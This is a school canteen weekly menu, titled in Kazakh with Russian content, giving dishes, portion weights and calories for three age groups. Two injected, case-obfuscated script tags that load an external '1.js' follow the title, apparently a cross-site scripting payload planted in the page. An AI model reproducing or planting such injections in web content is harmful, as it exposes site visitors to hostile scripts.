"Мәзір" мектеп асханасы<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

7-10 лет

11-14 лет

15-18лет

Наименование блюда

Выход

Ккал

Выход

Ккал

Выход

Ккал

1-й день (понедельник)

Вареники с картофелем со слив.маслом

150/5

345

200/5

405,2

200/5

405,2

Питьевой йогурт

100

212

100

212

100

212

Салат из свежих овощей на растит. масле (капуста, огурцы, помидоры)

60

31

70

36

80

41

Хлеб пшеничный;ржаной

20

49

35

85

40

97

2-й день(вторник)

Тефтели говяжьи с соусом

70/30

181,1

80/30

139,747

90/30

375,812

Гарнир: гречка

100

92

130

120

150

138

Чай с молоком

200

55,6

200

55,6

200

55,6

Бутерброд с маслом и сыром

20/5/3

87

20/5/3

87

35/5/3

134

Салат свекольный на растит.масле

60

57

70

67

80

76

3-й день (среда)

Суп с вермишелью с мясом курицы

200/20

170

230/20

196

250/20

213

Сок (фруктовый)

200

92

200

92

200

Творог

60

72

60

72

60

72

Хлеб пшеничный;ржаной

20

49

35

85

40

97

4-й день (четверг)

Рыба духовая(минтай)с соусом

70/30

63

80/30

71

100/30

86

Гарнир: рис припущенный

100

163,6

130

197

150

213

Салат (морковь,сыр)на растительном масле

60

60,4

70

71

80

81

Кисель плодово-ягодный

 200

93

200

93

200

93

Хлеб пшеничный;ржаной

20

49

35

85

40

97

5-й день(пятница)

Жаркое из мяса курицы

200

178,8

230

206

250

224

Хлеб пшеничный;ржаной

20

49

35

85

40

97

Фрукт (яблоко)

150

52

150

52

150

52

Чай черный сладкий

200

13,5

200

13,5

200

13,5